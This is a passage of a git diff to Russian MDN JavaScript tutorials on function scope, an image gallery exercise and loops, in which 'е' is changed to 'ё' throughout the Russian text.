function greeting() { <pre class="brush: js notranslate">output(y); output(z);</pre> Оба из них должны возвращать ошибку в строке "<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors/Not_defined">ReferenceError: y is not defined</a>". Почему это? Из-за функции scope - <code>y</code> и <code>z</code> блокируются внутри функций <code>a() </code>и <code>b()</code>, поэтому <code>output()</code> не может получить к ним доступ при вызове из глобальной области.</li> - <li>Однако как насчет того, когда он вызван изнутри другой функции? Попробуйте отредактировать функции <code>a()</code> и <code>b()</code>, чтобы они выглядели следующим образом: + <li>Однако как насчёт того, когда он вызван изнутри другой функции? Попробуйте отредактировать функции <code>a()</code> и <code>b()</code>, чтобы они выглядели следующим образом: <pre class="brush: js notranslate">function a() { var y = 2; output(y); @@ -273,11 +273,11 @@ function b() { var z = 3; output(z); }</pre> - Сохраните код и перезагрузите его в своем браузере, затем попробуйте вызвать функции <code>a()</code> и <code>b()</code> из консоли JavaScript: + Сохраните код и перезагрузите его в своём браузере, затем попробуйте вызвать функции <code>a()</code> и <code>b()</code> из консоли JavaScript: <pre class="brush: js notranslate">a(); b();</pre> - Вы должны увидеть значения y и z, выводимые на странице. Это отлично работает, так как функция <code>output() </code>вызывается внутри других функций - в той же области, где переменные, которые она печатает, определяются в каждом случае. <code>output()</code> доступен из любого места, поскольку он определен в глобальной области.</li> + Вы должны увидеть значения y и z, выводимые на странице. Это отлично работает, так как функция <code>output() </code>вызывается внутри других функций - в той же области, где переменные, которые она печатает, определяются в каждом случае. <code>output()</code> доступен из любого места, поскольку он определён в глобальной области.</li> <li>Теперь попробуйте обновить свой код следующим образом: <pre class="brush: js notranslate">function a() { var y = 2; @@ -319,7 +319,7 @@ b();</code></pre> </div> <div class="note"> -<p><strong>Примечание:</strong> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors/Not_defined">ReferenceError: "x" is not defined</a>. Ошибка - это одна из наиболее распространенных проблем, с которой вы столкнетесь. Если вы получите эту ошибку, и вы уверены, что определили эту переменную, проверьте, в какой области она находится.</p> +<p><strong>Примечание:</strong> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors/Not_defined">ReferenceError: "x" is not defined</a>. Ошибка - это одна из наиболее распространённых проблем, с которой вы столкнётесь. Если вы получите эту ошибку, и вы уверены, что определили эту переменную, проверьте, в какой области она находится.</p> </div> <ul> @@ -327,7 +327,7 @@ b();</code></pre> <h3 id="Функции_внутри_функций">Функции внутри функций</h3> -<p>Имейте в виду, что вы можете вызывать функцию из любого места, даже если она внутри другой функции. Это часто используется как способ поддержания чистоты кода. Если у вас есть большая сложная функция, ее легче понять, если разбить ее на несколько подфункций:</p> +<p>Имейте в виду, что вы можете вызывать функцию из любого места, даже если она внутри другой функции. Это часто используется как способ поддержания чистоты кода. Если у вас есть большая сложная функция, её легче понять, если разбить её на несколько подфункций:</p> <pre class="brush: js notranslate">function myBigFunction() { var myValue; @@ -350,7 +350,7 @@ function subFunction3() { } </pre> -<p>Просто убедитесь, что значения, используемые внутри функции, находятся в области видимости. В приведенном выше примере выдается ошибка <code>ReferenceError: MyValue is not defined</code>, поскольку хотя переменная <code>myValue</code> определена в той же области, что и вызовы функций, она не определена в определениях функций - фактический код, который запускается при вызове функций. Чтобы это работало, вам нужно передать значение в функцию в качестве параметра, например так:</p> +<p>Просто убедитесь, что значения, используемые внутри функции, находятся в области видимости. В приведённом выше примере выдаётся ошибка <code>ReferenceError: MyValue is not defined</code>, поскольку хотя переменная <code>myValue</code> определена в той же области, что и вызовы функций, она не определена в определениях функций - фактический код, который запускается при вызове функций. Чтобы это работало, вам нужно передать значение в функцию в качестве параметра, например так:</p> <pre class="brush: js notranslate">function myBigFunction() { var myValue = 1; diff --git a/files/ru/learn/javascript/building_blocks/image_gallery/index.html b/files/ru/learn/javascript/building_blocks/image_gallery/index.html index 0c75cf24fc..e79c0d26db 100644 --- a/files/ru/learn/javascript/building_blocks/image_gallery/index.html +++ b/files/ru/learn/javascript/building_blocks/image_gallery/index.html @@ -73,7 +73,7 @@ translation_of: Learn/JavaScript/Building_blocks/Image_gallery <ul> <li>Переберите все изображения, и для каждого вставьте элемент <code><img></code> внутри <code>thumb-bar <div></code>, который будет вставлять это изображение на страницу.</li> <li>Прикрепите обработчик <code>onclick</code> к каждому <code><img></code> внутри <code>thumb-bar <div></code>, чтобы при нажатии на них соответствующее изображение отображалось в элементе <code>display-img <img></code>.</li> - <li>Прикрепите обработчик <code>onclick</code> к кнопке <code><button></code>, чтобы при нажатии на нее к полноразмерному изображению был применен эффект затемнения. При повторном нажатии эффект затемнения снова удаляется.</li> + <li>Прикрепите обработчик <code>onclick</code> к кнопке <code><button></code>, чтобы при нажатии на неё к полноразмерному изображению был применён эффект затемнения. При повторном нажатии эффект затемнения снова удаляется.</li> </ul> <p>Чтобы лучше понять идею, посмотрите на <a href="https://mdn.github.io/learning-area/javascript/building-blocks/gallery/">готовый пример</a> (не заглядывая в исходный код!).</p> @@ -98,9 +98,9 @@ translation_of: Learn/JavaScript/Building_blocks/Image_gallery <p>В каждой итерации цикла вам нужно добавить обработчик <code>onclick</code> к текущему <code>newImage</code>:</p> <ol> - <li>Найдите значение атрибута <code>src</code> текущего изображения. Это можно сделать, запустив функцию <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Element/getAttribute">getAttribute()</a></code> в <code><img></code> в каждом случае и передав ей параметр <code>«src»</code> в каждом случае. Но как получить изображение? Использование <code>newImage</code> не будет работать, так как цикл завершается до применения обработчиков событий; это приведет к тому, что значение <code>src</code> последнего <code><img></code> будет возвращено в каждом случае. Чтобы решить это, имейте в виду, что в случае каждого обработчика события <code><img></code> является целью обработчика. Как получить информацию от объекта события?</li> + <li>Найдите значение атрибута <code>src</code> текущего изображения. Это можно сделать, запустив функцию <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Element/getAttribute">getAttribute()</a></code> в <code><img></code> в каждом случае и передав ей параметр <code>«src»</code> в каждом случае. Но как получить изображение? Использование <code>newImage</code> не будет работать, так как цикл завершается до применения обработчиков событий; это приведёт к тому, что значение <code>src</code> последнего <code><img></code> будет возвращено в каждом случае. Чтобы решить это, имейте в виду, что в случае каждого обработчика события <code><img></code> является целью обработчика. Как получить информацию от объекта события?</li> <li>Запустите функцию, передав ей возвращаемое значение <code>src</code> в качестве параметра. Вы можете вызвать эту функцию, как хотите.</li> - <li>Эта функция обработчика событий должна установить значение атрибута <code>src</code> <code>displayed-img <img></code> равным значению <code>src</code>, переданному в качестве параметра. Мы уже предоставили вам строку, в которой хранится ссылка на соответствующий <code><img></code> в переменной с именем <code>displayedImg</code>. Обратите внимание, что здесь нам нужна определенная именованная функция.</li> + <li>Эта функция обработчика событий должна установить значение атрибута <code>src</code> <code>displayed-img <img></code> равным значению <code>src</code>, переданному в качестве параметра. Мы уже предоставили вам строку, в которой хранится ссылка на соответствующий <code><img></code> в переменной с именем <code>displayedImg</code>. Обратите внимание, что здесь нам нужна определённая именованная функция.</li> </ol> <h3 id="Написание_обработчика_который_запускает_кнопку_затемнения_подсветки">Написание обработчика, который запускает кнопку затемнения / подсветки</h3> @@ -110,7 +110,7 @@ translation_of: Learn/JavaScript/Building_blocks/Image_gallery <ol> <li>Проверяет текущее имя класса, установленное на кнопке <code><button></code> — для этого снова можно использовать <code>getAttribute()</code>.</li> <li>Если имя класса <code>"dark"</code>, изменяет класс <code><button></code> на <code>"light"</code> (с помощью <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Element/setAttribute">setAttribute()</a></code>), его текстовое содержимое на "Светлее" и {{cssxref("background-color")}} наложения <code><div></code> на <code>"rgba (0,0,0,0.5)"</code>.</li> - <li>Если имя класса не «темное», изменяет класс <code><button></code> на <code>"dark"</code>, его текстовое содержимое обратно на "Темнее" и {{cssxref("background-color")}} наложения <code><div></code> на <code>"rgba(0,0,0,0)"</code>.</li> + <li>Если имя класса не «тёмное», изменяет класс <code><button></code> на <code>"dark"</code>, его текстовое содержимое обратно на "Темнее" и {{cssxref("background-color")}} наложения <code><div></code> на <code>"rgba(0,0,0,0)"</code>.</li> </ol> <p>Следующие строки служат основой для достижения изменений, указанных в пунктах 2 и 3 выше.</p> diff --git a/files/ru/learn/javascript/building_blocks/looping_code/index.html b/files/ru/learn/javascript/building_blocks/looping_code/index.html index 95c0cddfe9..08e8ccc1c1 100644 --- a/files/ru/learn/javascript/building_blocks/looping_code/index.html +++ b/files/ru/learn/javascript/building_blocks/looping_code/index.html @@ -34,9 +34,9 @@ translation_of: Learn/JavaScript/Building_blocks/Looping_code <p>Цикл обычно составляет одну или несколько из следующих функций:</p> <ul> - <li> <strong>Счетчик</strong>, который инициализируется с определенного значения — начальной точки цикла (На рисунке выше первый этап: "у меня нет еды (i have no food)")</li> - <li><strong>Условие выхода </strong>— критерий, при котором цикл останавливается, — обычно наступает, когда цикл достигает определенного значения. Это иллюстрируется выше словами "Достаточно ли у меня еды? (Do I have enough food?)". Предположим, фермеру нужно 10 порций еды, чтобы прокормить семью.</li> - <li><strong>Итератор </strong>постепенно увеличивает счетчик на некоторое значение на каждом шаге цикла, пока не достигнуто условия выхода. Мы явно не показали это в изображении, но если предположить что фермер собирает две порции еды в час, то после каждого часа, количество еды, которое у него имеется, увеличивается на две порции, и он проверяет достаточно ли у него еды сейчас. Если у него собралось 10 порций (условие выхода), он может остановить сбор и вернуться домой.</li> + <li> <strong>Счётчик</strong>, который инициализируется с определённого значения — начальной точки цикла (На рисунке выше первый этап: "у меня нет еды (i have no food)")</li> + <li><strong>Условие выхода </strong>— критерий, при котором цикл останавливается, — обычно наступает, когда цикл достигает определённого значения. Это иллюстрируется выше словами "Достаточно ли у меня еды? (Do I have enough food?)". Предположим, фермеру нужно 10 порций еды, чтобы прокормить семью.</li> + <li><strong>Итератор </strong>постепенно увеличивает счётчик на некоторое значение на каждом шаге цикла, пока не достигнуто условия выхода. Мы явно не показали это в изображении, но если предположить что фермер собирает две порции еды в час, то после каждого часа, количество еды, которое у него имеется, увеличивается на две порции, и он проверяет достаточно ли у него еды сейчас. Если у него собралось 10 порций (условие выхода), он может остановить сбор и вернуться домой.</li> </ul> <p>В <a href="/ru/docs/Словарь/Pseudocode">псевдокоде</a> это будет выглядеть следующим образом:</p> @@ -46,12 +46,12 @@ translation_of: Learn/JavaScript/Building_blocks/Looping_code exit loop; // У нас достаточно еды, пора домой } else { - food += 2; // Прошел час, количество еды увеличилось на 2 + food += 2; // Прошёл час, количество еды увеличилось на 2 // переход на следующую итерацию цикла. } }</pre> -<p>Таким образом, необходимое количество еды устанавливается равным 10, а изначально фермер не имеет ни одной порции, т.е. начало равно 0. На каждой итерации цикла проверяем, соответствует ли собранное количество еды, с тем количеством, которое ему необходимо. Если это так, можно выйти из цикла, если нет, фермер собирает еще 2 порции и снова переходит к проверке.</p> +<p>Таким образом, необходимое количество еды устанавливается равным 10, а изначально фермер не имеет ни одной порции, т.е. начало равно 0. На каждой итерации цикла проверяем, соответствует ли собранное количество еды, с тем количеством, которое ему необходимо. Если это так, можно выйти из цикла, если нет, фермер собирает ещё 2 порции и снова переходит к проверке.</p> <h3 id="Зачем_это_нужно">Зачем это нужно?</h3> @@ -156,7 +156,7 @@ ctx.fillStyle = 'rgba(255,0,0,0.5)'; ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI); ctx.fill();</pre> -<p>Это множество лишнего кода очень усложнило бы поддержку кода в будущем, т.к. если бы вам захотелось что-то изменить, в каждой итерации цикла, пришлось бы изменять все части кода по отдельности. А ещё это усложняет поиск ошибок, т.к. если вдруг вы совершите логическую ошибку при описании одной из итераций, придется потратить много времени на ее поиски.</p> +<p>Это множество лишнего кода очень усложнило бы поддержку кода в будущем, т.к. если бы вам захотелось что-то изменить, в каждой итерации цикла, пришлось бы изменять все части кода по отдельности. А ещё это усложняет поиск ошибок, т.к. если вдруг вы совершите логическую ошибку при описании одной из итераций, придётся потратить много времени на её поиски.</p> <h2 id="Правила_записи_цикла">Правила записи цикла</h2> @@ -170,11 +170,11 @@ ctx.fill();</pre> <ol> <li>Ключевое слово <a href="ru/docs/Web/JavaScript/Reference/Statements/for">for</a>, за которым следуют круглые скобки.</li> - <li>В круглых скобках у нас есть три части, разделенные точкой с запятой: + <li>В круглых скобках у нас есть три части, разделённые точкой с запятой: <ol> - <li><strong>Инициализатор</strong> — обычно это переменная численного типа, которая увеличивается каждую итерацию, чтобы посчитать количество шагов цикла. Ее также называет <strong>счетчиком</strong>.</li> + <li><strong>Инициализатор</strong> — обычно это переменная численного типа, которая увеличивается каждую итерацию, чтобы посчитать количество шагов цикла. Её также называет <strong>счётчиком</strong>.</li> <li><strong>Условие выхода</strong> — как упоминалось ранее, определяет, когда цикл должен остановиться. Обычно это выражение с оператором сравнения проверяющим, выполнено ли условие выхода.</li> - <li><strong>Окончательное выражение</strong> — вычисляется (или выполняется) каждый раз, когда цикл проходит полную итерацию. Обычно оно служит для увеличения (или уменьшения) переменной <strong>счетчика</strong>, чтобы приблизить ее значение к условию выхода.</li> + <li><strong>Окончательное выражение</strong> — вычисляется (или выполняется) каждый раз, когда цикл проходит полную итерацию. Обычно оно служит для увеличения (или уменьшения) переменной <strong>счётчика</strong>, чтобы приблизить её значение к условию выхода.</li> </ol> </li> <li>Фигурные скобки, содержащие блок кода. Этот код будет запускаться на каждой итерации цикла.</li> @@ -234,7 +234,7 @@ para.textContent = info;</pre> <p><strong>Заметка</strong>: Вы можете найти этот <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/basic-for.html">пример на GitHub</a> или <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/basic-for.html">посмотреть онлайн</a>.</p> </div> -<p>Здесь показан цикл, используемый для перебора элементов в массиве и выполнения определенных действий с каждым из них — очень распространенный шаблон в JavaScript<br> +<p>Здесь показан цикл, используемый для перебора элементов в массиве и выполнения определённых действий с каждым из них — очень распространённый шаблон в JavaScript<br> Подробнее:</p> <ol> @@ -247,18 +247,18 @@ para.textContent = info;</pre> <li>И так далее. В конце каждого цикла <code>i</code> увеличится на 1 (<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">i++</span></font>) , и процесс будет начинаться заново.</li> </ol> </li> - <li>Когда <code>i</code> достигнет величины <code>cats.length</code> цикл остановится и браузер перейдет к следующему фрагменту кода после цикла.</li> + <li>Когда <code>i</code> достигнет величины <code>cats.length</code> цикл остановится и браузер перейдёт к следующему фрагменту кода после цикла.</li> </ol> <div class="note"> -<p><strong>Заметка</strong>: Мы добавили условия выхода <code>i < cats.length</code>, а не <code>i <= cats.length</code>, потому что компьютеры считают с 0, а не с 1 — в начале <code>i = 0</code> и увеличивается до <code>i = 4</code> (индекс последнего элемента массива). <code>cats.length</code> возвращает 5, т.к. в массиве 5 элементов, но нам не нужно увеличивать до <code>i = 5</code>, т.к. <code>cats[5] </code>вернет <code>undefined</code> (в массиве нет элемента с индексом 5). Таким образом мы хотим придти к результату на 1 меньше, поэтому <code>i < cats.length</code>, не одно и тоже что <code>i <= cats.length</code>.</p> +<p><strong>Заметка</strong>: Мы добавили условия выхода <code>i < cats.length</code>, а не <code>i <= cats.length</code>, потому что компьютеры считают с 0, а не с 1 — в начале <code>i = 0</code> и увеличивается до <code>i = 4</code> (индекс последнего элемента массива). <code>cats.length</code> возвращает 5, т.к. в массиве 5 элементов, но нам не нужно увеличивать до <code>i = 5</code>, т.к. <code>cats[5] </code>вернёт <code>undefined</code> (в массиве нет элемента с индексом 5). Таким образом мы хотим придти к результату на 1 меньше, поэтому <code>i < cats.length</code>, не одно и тоже что <code>i <= cats.length</code>.</p> </div> <div class="note"> -<p><strong>Заметка</strong>: Стандартной ошибкой с условием выхода является использование условия "равный" (<code>===</code>) ,а не "меньше или равно" (<code><=</code>). Если нам нужно увеличить счетчик до <code>i = 5</code>, условие выхода должно быть <code>i <= cats.length</code>. Если мы установим <code>i === cats.length</code>, цикл не начнется, т.к. <code>i</code> не равно <code>5</code> на самой первой итерации, поэтому цикл остановится сразу.</p> +<p><strong>Заметка</strong>: Стандартной ошибкой с условием выхода является использование условия "равный" (<code>===</code>) ,а не "меньше или равно" (<code><=</code>). Если нам нужно увеличить счётчик до <code>i = 5</code>, условие выхода должно быть <code>i <= cats.length</code>. Если мы установим <code>i === cats.length</code>, цикл не начнётся, т.к. <code>i</code> не равно <code>5</code> на самой первой итерации, поэтому цикл остановится сразу.</p> </div> -<p>Остается одна небольшая проблема: выходная строка сформирована не совсем корректно:</p> +<p>Остаётся одна небольшая проблема: выходная строка сформирована не совсем корректно:</p> <blockquote> <p>Моих кошек зовут Билл, Макс, Пикси, Алиса, Жасмин,</p> @@ -279,17 +279,17 @@ para.textContent = info;</pre> </div> <div class="warning"> -<p><strong>Важно</strong>: С циклом <strong>for</strong>, также как и с другими циклами, вы должны убедиться что инициализатор (счетчик) и окончательное выражение построены так, что они достигнут условия выхода. Если этого не произойдет, то цикл будет продолжаться вечно. В итоге браузер или заставит его остановиться, или выдаст ошибку. Это называется <strong>бесконечным циклом</strong>.</p> +<p><strong>Важно</strong>: С циклом <strong>for</strong>, также как и с другими циклами, вы должны убедиться что инициализатор (счётчик) и окончательное выражение построены так, что они достигнут условия выхода. Если этого не произойдёт, то цикл будет продолжаться вечно. В итоге браузер или заставит его остановиться, или выдаст ошибку. Это называется <strong>бесконечным циклом</strong>.</p> </div> <h2 id="Выход_из_цикла_с_помощью_break">Выход из цикла с помощью break</h2> -<p>Если вы хотите выйти из цикла до завершения всех итераций, вы можете использовать оператор <a href="/ru/docs/Web/JavaScript/Reference/Statements/break">break</a> . Мы уже встречались с ним в предыдущей статье, когда рассматривали оператор <a href="/ru/docs/Learn/JavaScript/Building_blocks/conditionals#Оператор_switch">switch</a>: когда происходит событие, соответствующее условию, прописанному ключевым словом <code>case</code> внутри оператора <code>switch</code>, условие break моментально выходит из конструкции <code>switch</code> и запускает следующий после нее код.</p> +<p>Если вы хотите выйти из цикла до завершения всех итераций, вы можете использовать оператор <a href="/ru/docs/Web/JavaScript/Reference/Statements/break">break</a> . Мы уже встречались с ним в предыдущей статье, когда рассматривали оператор <a href="/ru/docs/Learn/JavaScript/Building_blocks/conditionals#Оператор_switch">switch</a>: когда происходит событие, соответствующее условию, прописанному ключевым словом <code>case</code> внутри оператора <code>switch</code>, условие break моментально выходит из конструкции <code>switch</code> и запускает следующий после неё код.</p> <p>Тоже самое и с циклами — условие <code>break</code> моментально закончит цикл и заставит браузер запустить следующий после цикла код.</p> <p>Предположим, в массиве данных мы хотим найти имена контактов и телефонные номера, а вернуть только номер, который мы нашли.<br> - Начнем с разметки HTML: поле {{htmlelement("input")}} позволяет нам ввести имя для поиска, элемент (кнопка) {{htmlelement("button")}} для подтверждения поиска, и элемент {{htmlelement("p")}} для отображения результата:</p> + Начнём с разметки HTML: поле {{htmlelement("input")}} позволяет нам ввести имя для поиска, элемент (кнопка) {{htmlelement("button")}} для подтверждения поиска, и элемент {{htmlelement("p")}} для отображения результата:</p> <pre class="brush: html notranslate"><label for="search">Поиск по имени: </label> <input id="search" type="text"> @@ -370,16 +370,16 @@ btn.addEventListener('click', function() { <ol> <li>Прежде всего у нас определены некоторые переменные: у нас есть массив с контактной информацией, каждый элемент которого это строка, содержащая в себе имя и номер телефона, которые разделены двоеточием.</li> <li>Далее мы применяем обработчик события кнопки (<code>btn</code>), чтобы при её нажатии запускался код для поиска и отображения результатов.</li> - <li>Мы сохраняем значение, введенное в текстовое поле, в переменную <code>searchName</code>, затем очищаем введенный текст и снова фокусируемся на текстовом поле для нового поиска.</li> - <li>Теперь перейдем к интересующей нас части — к циклу <code>for</code>: + <li>Мы сохраняем значение, введённое в текстовое поле, в переменную <code>searchName</code>, затем очищаем введённый текст и снова фокусируемся на текстовом поле для нового поиска.</li> + <li>Теперь перейдём к интересующей нас части — к циклу <code>for</code>: <ol> - <li>Мы начали счетчик с <code>0</code>, запускаем цикл до тех пор, пока счетчик всё ещё меньше, чем contacts.length, а инкремент <code>i</code> увеличиваем на 1 после каждой итерации цикла.</li> + <li>Мы начали счётчик с <code>0</code>, запускаем цикл до тех пор, пока счётчик всё ещё меньше, чем contacts.length, а инкремент <code>i</code> увеличиваем на 1 после каждой итерации цикла.</li> <li>Внутри цикла мы сначала разделяем текущий контакт (<code>contacts[i]</code>) на символе двоеточия, и сохраняем полученные два значения в массиве с названием <code>splitContact</code>.</li> - <li>Затем мы используем условный оператор, чтобы проверить, равно ли <code>splitContact[0]</code> (имя контакта) введенному <code>searchName</code>. Если это так, мы выводим строку в абзац, чтобы сообщить, каков номер контакта, и используем <code>break</code> для завершения цикла.</li> + <li>Затем мы используем условный оператор, чтобы проверить, равно ли <code>splitContact[0]</code> (имя контакта) введённому <code>searchName</code>. Если это так, мы выводим строку в абзац, чтобы сообщить, каков номер контакта, и используем <code>break</code> для завершения цикла.</li> </ol> </li> <li> - <p>После <a href="https://ru.wikipedia.org/wiki/%D0%98%D1%82%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D1%8F_(%D0%B7%D0%BD%D0%B0%D1%87%D0%B5%D0%BD%D0%B8%D1%8F)">итерации</a> <code>(contacts.length-1)</code>, если имя контакта не совпадает с введенным именем в поисковом запросе, для текста абзаца устанавливается: «Контакт не найден.», и цикл продолжает повторяться.</p> + <p>После <a href="https://ru.wikipedia.org/wiki/%D0%98%D1%82%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D1%8F_(%D0%B7%D0%BD%D0%B0%D1%87%D0%B5%D0%BD%D0%B8%D1%8F)">итерации</a> <code>(contacts.length-1)</code>, если имя контакта не совпадает с введённым именем в поисковом запросе, для текста абзаца устанавливается: «Контакт не найден.», и цикл продолжает повторяться.</p> </li> </ol> @@ -457,9 +457,9 @@ for (var i = 1; i <= num; i++) { <p>{{ EmbedLiveSample('Hidden_code_4', '100%', 100) }}</p> <ol> - <li>В этом случае на входе должно быть число (<code>num</code>). Циклу <code>for</code> присваивается счетчик, начинающийся с 1 (поскольку в данном случае нас не интересует 0), условие выхода, которое говорит, что цикл остановится, когда счетчик станет больше входного <code>num</code>, а итератор добавляет 1 к счетчику каждый раз.</li> - <li>Внутри цикла мы находим квадратный корень каждого числа с помощью <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Math/sqrt">Math.sqrt(i)</a>, а затем проверяем, является ли квадратный корень целым числом, проверяя, совпадает ли он с самим собой, когда он был округлен до ближайшего целого числа (это то, что <code>Math.floor ()</code> делает с числом, которое передает).</li> - <li>Если квадратный корень и округленный вниз квадратный корень не равны друг другу <code>(! ==)</code>, значит квадратный корень не является целым числом, поэтому нас он не интересует. В таком случае мы используем оператор <code>continue</code>, чтобы перейти к следующей итерации цикла без записи этого числа.</li> + <li>В этом случае на входе должно быть число (<code>num</code>). Циклу <code>for</code> присваивается счётчик, начинающийся с 1 (поскольку в данном случае нас не интересует 0), условие выхода, которое говорит, что цикл остановится, когда счётчик станет больше входного <code>num</code>, а итератор добавляет 1 к счётчику каждый раз.</li> + <li>Внутри цикла мы находим квадратный корень каждого числа с помощью <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Math/sqrt">Math.sqrt(i)</a>, а затем проверяем, является ли квадратный корень целым числом, проверяя, совпадает ли он с самим собой, когда он был округлён до ближайшего целого числа (это то, что <code>Math.floor ()</code> делает с числом, которое передаёт).</li> + <li>Если квадратный корень и округлённый вниз квадратный корень не равны друг другу <code>(! ==)</code>, значит квадратный корень не является целым числом, поэтому нас он не интересует. В таком случае мы используем оператор <code>continue</code>, чтобы перейти к следующей итерации цикла без записи этого числа.</li> <li>Если квадратный корень <em>является целым числом</em>, мы пропускаем блок <code>if</code> полностью, поэтому оператор <code>continue</code> не выполняется; вместо этого объединяется текущее значение <code>i</code> с пробелом в конце содержимого абзаца.</li> </ol> @@ -484,9 +484,9 @@ while (exit-condition) { <p>Здесь присутствуют те же три элемента и в том же порядке, что и в цикле <code>for</code>. Это важно, так как вам нужно определить инициализатор, прежде чем получится проверить, достиг ли цикл условия выхода.</p> -<p>Окончательное условие выполняется после выполнения кода внутри цикла (итерация завершена), и оно выполняется только в том случае, если условие выхода еще не достигнуто.</p> +<p>Окончательное условие выполняется после выполнения кода внутри цикла (итерация завершена), и оно выполняется только в том случае, если условие выхода ещё не достигнуто.</p> -<p>Посмотрим еще раз пример со списком кошек с кодом переписанным под использование цикла <code>while:</code></p> +<p>Посмотрим ещё раз пример со списком кошек с кодом переписанным под использование цикла <code>while:</code></p> <pre class="brush: js notranslate">var i = 0; @@ -501,7 +501,7 @@ while (i < cats.length) { }</pre> <div class="note"> -<p><strong>Примечание: </strong>цикл все еще работает так же, как и ожидалось - посмотрите, <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/while.html">как он работает на GitHub</a> (также посмотрите <a href="https://github.com/ConstantineZz/javaScript/blob/master/while.html">полный исходный код</a>).</p> +<p><strong>Примечание: </strong>цикл все ещё работает так же, как и ожидалось - посмотрите, <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/while.html">как он работает на GitHub</a> (также посмотрите <a href="https://github.com/ConstantineZz/javaScript/blob/master/while.html">полный исходный код</a>).</p> </div> <p>Цикл<strong> <a href="/ru/docs/Web/JavaScript/Reference/Statements/do...while">do...while</a></strong> представляет собой вариацию структуры цикла <code>while</code>:</p> @@ -515,7 +515,7 @@ do { <p>В этом случае инициализатор снова указывается прежде, чем цикл запускается. Ключевое слово <code>do</code> непосредственно предшествует фигурным скобкам, содержащим код для запуска и конечное выражение.</p> -<p>Различие состоит в том, что условие выхода идет после всего остального, заключенное в скобки после ключевого слова <code>while</code>. В цикле <code>do...while</code> код внутри фигурных скобок всегда запускается один раз, прежде чем выполняется проверка, чтобы увидеть, должна ли она быть выполнена снова (в <code>while</code> и <code>for</code> проверка идет первой, поэтому код может быть не выполнен).</p> +<p>Различие состоит в том, что условие выхода идёт после всего остального, заключённое в скобки после ключевого слова <code>while</code>. В цикле <code>do...while</code> код внутри фигурных скобок всегда запускается один раз, прежде чем выполняется проверка, чтобы увидеть, должна ли она быть выполнена снова (в <code>while</code> и <code>for</code> проверка идёт первой, поэтому код может быть не выполнен).</p> <p>Перепишем наш пример с кошками, чтобы использовать цикл <code>do...while</code>:</p> @@ -536,12 +536,12 @@ do { </div> <div class="warning"> -<p><strong>Замечание</strong>: Применяя циклы <code>while</code> and <code>do...while</code> , как и все циклы, убедитесь, что инициализатор повторяется так, чтобы он в конце концов достиг условия выхода. Если это не так, цикл будет продолжаться вечно, и либо браузер заставит его остановиться, либо произойдет сбой. Это называется <em><s>доктор Стрэндж и Дормамму</s></em> <strong>бесконечным циклом</strong>. </p> +<p><strong>Замечание</strong>: Применяя циклы <code>while</code> and <code>do...while</code> , как и все циклы, убедитесь, что инициализатор повторяется так, чтобы он в конце концов достиг условия выхода. Если это не так, цикл будет продолжаться вечно, и либо браузер заставит его остановиться, либо произойдёт сбой. Это называется <em><s>доктор Стрэндж и Дормамму</s></em> <strong>бесконечным циклом</strong>. </p> </div> -<h2 id="Практическое_упражнение_запускаем_обратный_отсчет!">Практическое упражнение: запускаем обратный отсчет!</h2> +<h2 id="Практическое_упражнение_запускаем_обратный_отсчёт!">Практическое упражнение: запускаем обратный отсчёт!</h2> -<p>В этом упражнении мы хотим, чтобы вы написали простой отсчет времени запуска до поля вывода, от 10 до "Пуск!" В частности, мы хотим, чтобы вы:</p> +<p>В этом упражнении мы хотим, чтобы вы написали простой отсчёт времени запуска до поля вывода, от 10 до "Пуск!" В частности, мы хотим, чтобы вы:</p> <ul> <li>Цикл от 10 до 0. Мы предоставляем вам инициализатор: <code>var i = 10;</code>.</li> @@ -555,12 +555,12 @@ do { <li>Разные номера итераций требуют, чтобы в абзаце для каждой итерации помещался свой текст (вам понадобится условный оператор и несколько<code> para.textContent = lines</code><br> ): <ul> - <li>Если число равно 10, выведите в абзаце «Обратный отсчет 10».</li> + <li>Если число равно 10, выведите в абзаце «Обратный отсчёт 10».</li> <li>Если число равно 0, выведите в абзаце «Пуск!»</li> <li>Для любого другого числа выведите в абзаце только число.</li> </ul> </li> - <li>Не забудьте включить итератор! Однако в этом примере мы ведем обратный отсчет после каждой итерации, а не вверх, поэтому вам <strong>не</strong> нужен <code>i ++</code>. Как выполнить итерацию вниз?</li> + <li>Не забудьте включить итератор! Однако в этом примере мы ведём обратный отсчёт после каждой итерации, а не вверх, поэтому вам <strong>не</strong> нужен <code>i ++</code>. Как выполнить итерацию вниз?</li> </ul> <p>Если вы допустили ошибку, вы всегда можете сбросить пример с помощью кнопки «Сброс» (Reset). Если у вас совсем ничего не получается, нажмите «Show solution», чтобы увидеть решение.</p> @@ -710,7 +710,7 @@ textarea.onkeyup = function(){ <h2 id="Практическое_упражнение_Заполнение_списка_гостей">Практическое упражнение: Заполнение списка гостей</h2> -<p>Возьмите список имен, хранящихся в массиве, и поместите их в список гостей. Тут не всё так просто: мы не хотим приглашать Фила и Лолу, потому что они наглые и всё сожрут! У нас есть два списка. Один для тех, кого мы хотим пригласить, второй для тех, кого приглашать не нужно.</p> +<p>Возьмите список имён, хранящихся в массиве, и поместите их в список гостей. Тут не всё так просто: мы не хотим приглашать Фила и Лолу, потому что они наглые и всё сожрут! У нас есть два списка. Один для тех, кого мы хотим пригласить, второй для тех, кого приглашать не нужно.</p> <p>Для этого нужно сделать следующее:</p> @@ -733,7 +733,7 @@ textarea.onkeyup = function(){ <li><code>admitted.textContent +=</code> — начало строки, которая объединит что-то до конца <code>admitted.textContent</code>.</li> </ul> -<p>Дополнительный бонусный вопрос - после успешного выполнения вышеупомянутых задач у вас останется два списка имен, разделенных запятыми, но они будут составлены некорректно: в конце каждого списка будет запятая. 